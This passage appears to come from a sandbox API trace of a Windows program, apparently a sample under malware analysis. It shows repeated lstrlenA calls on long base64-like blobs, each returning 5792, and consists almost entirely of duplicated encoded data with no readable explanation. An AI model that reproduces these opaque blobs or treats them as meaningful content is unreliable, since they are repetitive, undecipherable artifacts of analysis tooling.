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") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGe